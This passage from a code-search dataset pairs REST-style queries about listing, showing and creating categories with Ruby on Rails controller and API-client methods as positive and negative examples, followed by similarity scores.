parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Category>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def categories(make, year)\n make_id = get_object_id make\n response = get_url \"Categories/#{make_id}/#{year}\"\n response_obj = JSON.parse response\n response_obj[\"GetCategoriesResult\"].map{|r| Models::Category.from_response_hash(r)}\n end", "def getCategories\n @categories = []\n @categories << Category.new(name: \"All\", id: -1)\n @categories += Category.all\n end", "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "def categories\n add_to_query restrict_kind: 'category'\n end", "def categories\n @categories = response[\"categories\"] || []\n @categories.map!{|category| Foursquared::Response::Category.new(client, category)}\n end", "def categories\n response[\"categories\"].map!{|category| Foursquared::Response::Category.new(client, category)} if response[\"categories\"]\n end", "def index\n @categories = Category.all\n respond_with(@categories)\n end", "def get_category_list\n ret_hash = Rails.cache.fetch(\"zaim_api/category\", expired_in: 1.day) do\n json_categories = self.zaim_api.category\n tmp_ret_hash = {}\n json_categories['categories'].each do |value|\n tmp_ret_hash[value['id']] = value['name']\n end\n tmp_ret_hash\n end\n ret_hash\n end", "def index\n @categories = Category.roots\n end", "def get_categories(opts = {})\n data, _status_code, _headers = get_categories_with_http_info(opts)\n data\n end", "def index\n @categories = Category.all\n end", "def index\n\t\t@categories = Category.all\n\tend", "def index\n @categories=Category.root\n respond_with @categories\n end", "def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend", "def category\n client.categories.find(data[\"categoryId\"])\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def get_categories(opts = {})\n data, _status_code, _headers = get_categories_with_http_info(opts)\n return data\n end", "def categories\n category\n end", "def categories\n []\n end", "def index\n\t@categories = Category.all\n\tend", "def category\n # Whats the last category we are asking for? (the rest don't matter I don't think..)\n requested_category = params[:category].split(\"/\").last\n category = Taxonomy.find_by_seo_url requested_category\n\n if category.present?\n @category = category\n @posts = get_posts category.posts\n\n\n respond_to do |format|\n format.html { render :template => 'default/index' }\n format.json { render json: @posts }\n end\n else\n # No such category found, redirect to root index\n redirect_to root_path\n end\n end", "def index\n render json: Category.order('name ASC').all\n end", "def index\n @section_categories = SectionCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @section_categories }\n end\n end", "def show\n render json: @categoria\n end", "def index\n categories = Category.all\n\n if params[:limit]\n categories = categories.limit(params[:limit])\n end\n\n render json: CategorySerializer.new(categories).serializable_hash\n end", "def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end", "def index\n @categories = Category.all\n end", "def get_categories(project_id_or_key)\n get(\"projects/#{project_id_or_key}/categories\")\n end", "def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend", "def index\n @categories = Category.paginate(:page => params[:page])\n @title = \"Категории\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def categories\n\t\t\t@cat_cache ||= @db.js('musicthoughts.all_categories()').map {|c| c.merge(category: c[@lang]) }\n\t\t\t@cat_cache\n\t\tend", "def categories\n raw_categories.to_hashugar\n end", "def event_categories(options = {})\n response = connection.get do |req|\n req.url \"events/categories\", options\n end\n return_error_or_body(response, response.body.response.categories)\n end", "def index\n @service_categories = ServiceCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_categories }\n end\n end", "def categories_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OtherApi.categories_list ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Category>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OtherApi#categories_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end", "def all\n render json: Cat.all\n end", "def index\n @categories = Category.all\n \n respond_with do |format|\n format.html { render :index, :layout => false}\n end\n end" ]
[ "0.83888507", "0.8327856", "0.83211476", "0.78072983", "0.7742051", "0.75669324", "0.75111455", "0.74151826", "0.7386452", "0.7369945", "0.7369187", "0.73691803", "0.73691803", "0.73457074", "0.73304063", "0.7316772", "0.72851175", "0.72663945", "0.72275496", "0.7220998", "0.721489", "0.7214744", "0.7191486", "0.7170767", "0.71196395", "0.7099406", "0.70744735", "0.7046364", "0.70421106", "0.7034058", "0.7032228", "0.7031601", "0.70285517", "0.701469", "0.6996653", "0.69954544", "0.6993141", "0.6981535", "0.6970529", "0.6965789", "0.69562495", "0.68973124", "0.6896462", "0.6888122", "0.6884991", "0.68843496", "0.68729085", "0.68694204", "0.684738", "0.68159676", "0.6808432", "0.68015593", "0.6799326", "0.6773361", "0.6770789", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67645466", "0.67614204", "0.67590016", "0.67560863", "0.6751845", "0.6734348", "0.6726548", "0.67246544", "0.6723478", "0.67053044", "0.67034256", "0.66973054", "0.6697162", "0.6685197", "0.66803694", "0.66784716", "0.66742986", "0.6672338", "0.6635933", "0.6635794", "0.6623354", "0.6619753", "0.6616208" ]
0.0
-1
GET /categories/1 GET /categories/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def index\n categories = Category.all\n render json:categories\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def show\n render json: category\n end", "def show\n render json: @category\n end", "def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend", "def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end", "def get_category id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get CATEGORIES, id )\n\t\t\t\tend", "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "def getCategories(_, _, _)\n @db.categories\n end", "def category\n client.categories.find(data[\"categoryId\"])\n end", "def categories\n get('venues/categories').categories\n end", "def get_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def get_categories\n @categories = Category.all\n end", "def index\n respond_to do |format|\n format.html { @categories = Category.all }\n format.json { @categories = Category.order(:name) }\n end\n end", "def getCategory( category_id)\n params = Hash.new\n params['category_id'] = category_id\n return doCurl(\"get\",\"/category\",params)\n end", "def index\n @categories = Category.all\n @categories= @categories.sort_by(&:name)\n render json: @categories\n end", "def category\n # Whats the last category we are asking for? (the rest don't matter I don't think..)\n requested_category = params[:category].split(\"/\").last\n category = Taxonomy.find_by_seo_url requested_category\n\n if category.present?\n @category = category\n @posts = get_posts category.posts\n\n\n respond_to do |format|\n format.html { render :template => 'default/index' }\n format.json { render json: @posts }\n end\n else\n # No such category found, redirect to root index\n redirect_to root_path\n end\n end", "def index\n @categories = CategoryService.index\n end", "def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end", "def category(id = nil)\n res = Connection.get('categories', id)\n id.nil? ? Category.all(res) : Category.new(res)\n end", "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "def index\n @categories = Category.all\n render :json => @categories, :except => [:created_at, :updated_at]\n end", "def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend", "def index\n respond_with Category.all\n end", "def show\n render json: @categoria\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def index\n @categories = Category.roots\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def index\n\t\t@categories = Category.all\n\tend", "def index\n\t@categories = Category.all\n\tend", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n render json: Category.order('name ASC').all\n end", "def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end", "def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end", "def index\n @categories = Category.all\n respond_with(@categories)\n end", "def category\n Category.find(params[:id])\n end", "def index\n @categories=Category.root\n respond_with @categories\n end", "def index\n @categories = Category.paginate(:page => params[:page])\n @title = \"Категории\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def show\n @category = current_mall.categories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end", "def index\n categories = Category.all\n\n if params[:limit]\n categories = categories.limit(params[:limit])\n end\n\n render json: CategorySerializer.new(categories).serializable_hash\n end", "def show\n\t @category = Category.find(params[:id])\n\n\t respond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render json: @category }\n\t end\n\tend", "def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend", "def categories\n parsed_json['data']\n end", "def index\n #expires_in 24.hours\n #fresh_when last_modified: @max, public: true\n @roots = @categories.roots\n @keyword = String.new\n\n @roots.each do |r|\n @keyword << r.name << \" \"\n end\n\n if params[:id]\n if c = Category.find(params[:id])\n redirect_to c\n return\n else\n flash.now[:error] = \"Category not found.\"\n end\n end\n\n respond_to do |format|\n format.html\n format.json {render json:@categories}\n end\n\n end", "def index\n @categories = Category.order(\"name ASC\")\n @latest_reviews = Review.limit(3).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_category_list\n ret_hash = Rails.cache.fetch(\"zaim_api/category\", expired_in: 1.day) do\n json_categories = self.zaim_api.category\n tmp_ret_hash = {}\n json_categories['categories'].each do |value|\n tmp_ret_hash[value['id']] = value['name']\n end\n tmp_ret_hash\n end\n ret_hash\n end", "def categories options = {}\n perform_get_with_object(\"/categories\", options, Vimeo::Entities::Category)\n end", "def getCategories\n @categories = []\n @categories << Category.new(name: \"All\", id: -1)\n @categories += Category.all\n end", "def show\n @post_category = Post::Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post_category }\n end\n end", "def index\n @categories = Category.paginate(:page => params[:page], per_page:30)\n @number = Category.count\n\n respond_to do |format|\n format.html\n format.json { render json: Category.all }\n end\n end", "def index\n @categorias = Categoria.where(ativo: true)\n \t\n render json: @categorias\n end", "def index\n @categories = Category.all\n \n respond_with do |format|\n format.html { render :index, :layout => false}\n end\n end", "def index\n @cover_cats = CoverCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cover_cats }\n end\n end", "def index\n @section_categories = SectionCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @section_categories }\n end\n end", "def show\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cat }\n end\n end", "def show\n @recipe_category = RecipeCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_category }\n end\n end", "def index\n @categories = collections_config.values\n end", "def index\n @taxonomy_categories = TaxonomyCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomy_categories }\n end\n end", "def fetch_categories(count = ENV['DEFAULT_CATEGORY_COUNT'].to_i)\n max_category = 18418\n uri = \"http://jservice.io/api/categories?count=#{count}&offset=#{1+rand(max_category/count.to_f)}\"\n request = HTTParty.get(uri)\n data = JSON.parse(request.body)\nend" ]
[ "0.7878458", "0.78664684", "0.78481597", "0.7844208", "0.7417769", "0.7408837", "0.7307978", "0.7307397", "0.7307397", "0.7282804", "0.72363126", "0.7185741", "0.7157934", "0.713444", "0.7124538", "0.7066593", "0.7045173", "0.7038258", "0.70353806", "0.7033002", "0.701299", "0.70120174", "0.700036", "0.6994392", "0.69918746", "0.6980784", "0.69573617", "0.69493055", "0.69357604", "0.6873129", "0.6857847", "0.68576306", "0.68523216", "0.68444425", "0.68355364", "0.68355364", "0.68355364", "0.68355364", "0.68355364", "0.68355364", "0.68355364", "0.68214786", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.68202716", "0.6812789", "0.67968524", "0.6771427", "0.67533916", "0.6732241", "0.6730112", "0.67265886", "0.6720752", "0.6720329", "0.67183673", "0.6713364", "0.6708924", "0.6708367", "0.67068535", "0.669951", "0.66984797", "0.6696892", "0.66553664", "0.6654505", "0.66415524", "0.66390556", "0.6638297", "0.6615029", "0.66140074", "0.6607734", "0.6591723", "0.65867984", "0.65753496", "0.6573269", "0.65729016", "0.6569628", "0.6568444", "0.65677124", "0.6562122", "0.6557943" ]
0.0
-1
POST /categories POST /categories.json
def create @category = GoodCategory.new(category_params) respond_to do |format| if @category.save format.html { redirect_to admin_good_categories_url, notice: 'GoodCategory was successfully created.' } format.json { render action: 'show', status: :created, location: @category } else format.html { render action: 'new' } format.json { render json: @category.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n json_create(category_params, Category)\n end", "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "def create\n category = @current_user.categories.create!(category_params)\n render json: { category: category }\n end", "def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def create\n @category = Category.new(category_params)\n @category.save\n render json: { params: params, notice: 'Categoria registrada exitosamente' }\n end", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def create\n @categoria = Categoria.new(categoria_params)\n if @categoria.save\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end", "def create\n @category = current_user.categories.new(name: params[:name])\n if @category.save\n render \"create.json.jbuilder\", status: :created\n else\n render json: { errors: @category.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "def create\n @category = Category.new(category_params)\n authorize! :create, @category\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def create\n @category = current_mall.categories.new(params[:category])\n\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def post_category(category_name, options={ })\n self.post('/categories.json',\n options.merge(\n :body => { :category => {\n :name => category_name\n } }.to_json\n )\n )['category']\n end", "def create\n category = Category.create(category_params)\n\n \n if category\n render json:{\n status: :created,\n category: category}\n else\n render json: { status: 500 }\n end\n end", "def user_category\n # byebug\n @user = User.where(contact: params[:contact]).first\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-data\", data: \"category saved\"}, status: :ok\n end", "def addCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.new(name: params[:name])\n status = c.save\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def create\n @category = Category.create(params[:category])\n respond_with(@category, location: categories_url)\n end", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def create\n category = Category.create!(category_params)\n render json: {\n :html => render_to_string(\n :partial => \"setups/category\",\n :layout => false,\n :locals => {:category => category})\n }\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html {\n redirect_to @category, notice: 'Category was successfully created.'\n }\n format.json {\n render json: @category, status: :created, location: @category\n }\n else\n format.html { render action: \"new\" }\n format.json {\n render json: @category.errors, status: :unprocessable_entity\n }\n end\n end\n end", "def create\n @category = Category.new(params[:category]) \n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t(:created_category_success)}\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to management_categories_path }\n format.json { render json: @category, status: :created }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categories_post = CategoriesPost.new(categories_post_params)\n\n respond_to do |format|\n if @categories_post.save\n format.html { redirect_to @categories_post, notice: 'Categories post was successfully created.' }\n format.json { render :show, status: :created, location: @categories_post }\n else\n format.html { render :new }\n format.json { render json: @categories_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n category = params[:category]\n category_name = category['name']\n \n write_log(\"category.to_s: #{category.to_s}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n \n cats = []\n if category_name != nil\n cats = category_name.split(\" \")\n end\n \n write_log(\"cats.size: #{cats.size}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n if cats.size > 1\n \n flag = true\n counter = 0\n \n cats.each do |cat|\n # @category = Category.new(params[:category])\n # @category = Category.new(name=cat)\n @category = Category.new({\"name\"=> cat, \"genre_id\"=> category['genre_id']})\n \n if @category.save\n else\n counter += 1\n end\n end#cats.each do |cat|\n \n respond_to do |format|\n format.html { redirect_to @category, \n notice: \"New categories: Created => #{cats.size - counter}, Failed => #{counter}\" }\n format.json { render json: @category, status: :created, location: @category }\n end\n \n else#if cats.size > 1\n @category = Category.new(params[:category])\n \n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end#if cats.size > 1\n \n \n # @category = Category.new(params[:category])\n# \n # respond_to do |format|\n # if @category.save\n # format.html { redirect_to @category, notice: 'Category was successfully created.' }\n # format.json { render json: @category, status: :created, location: @category }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully 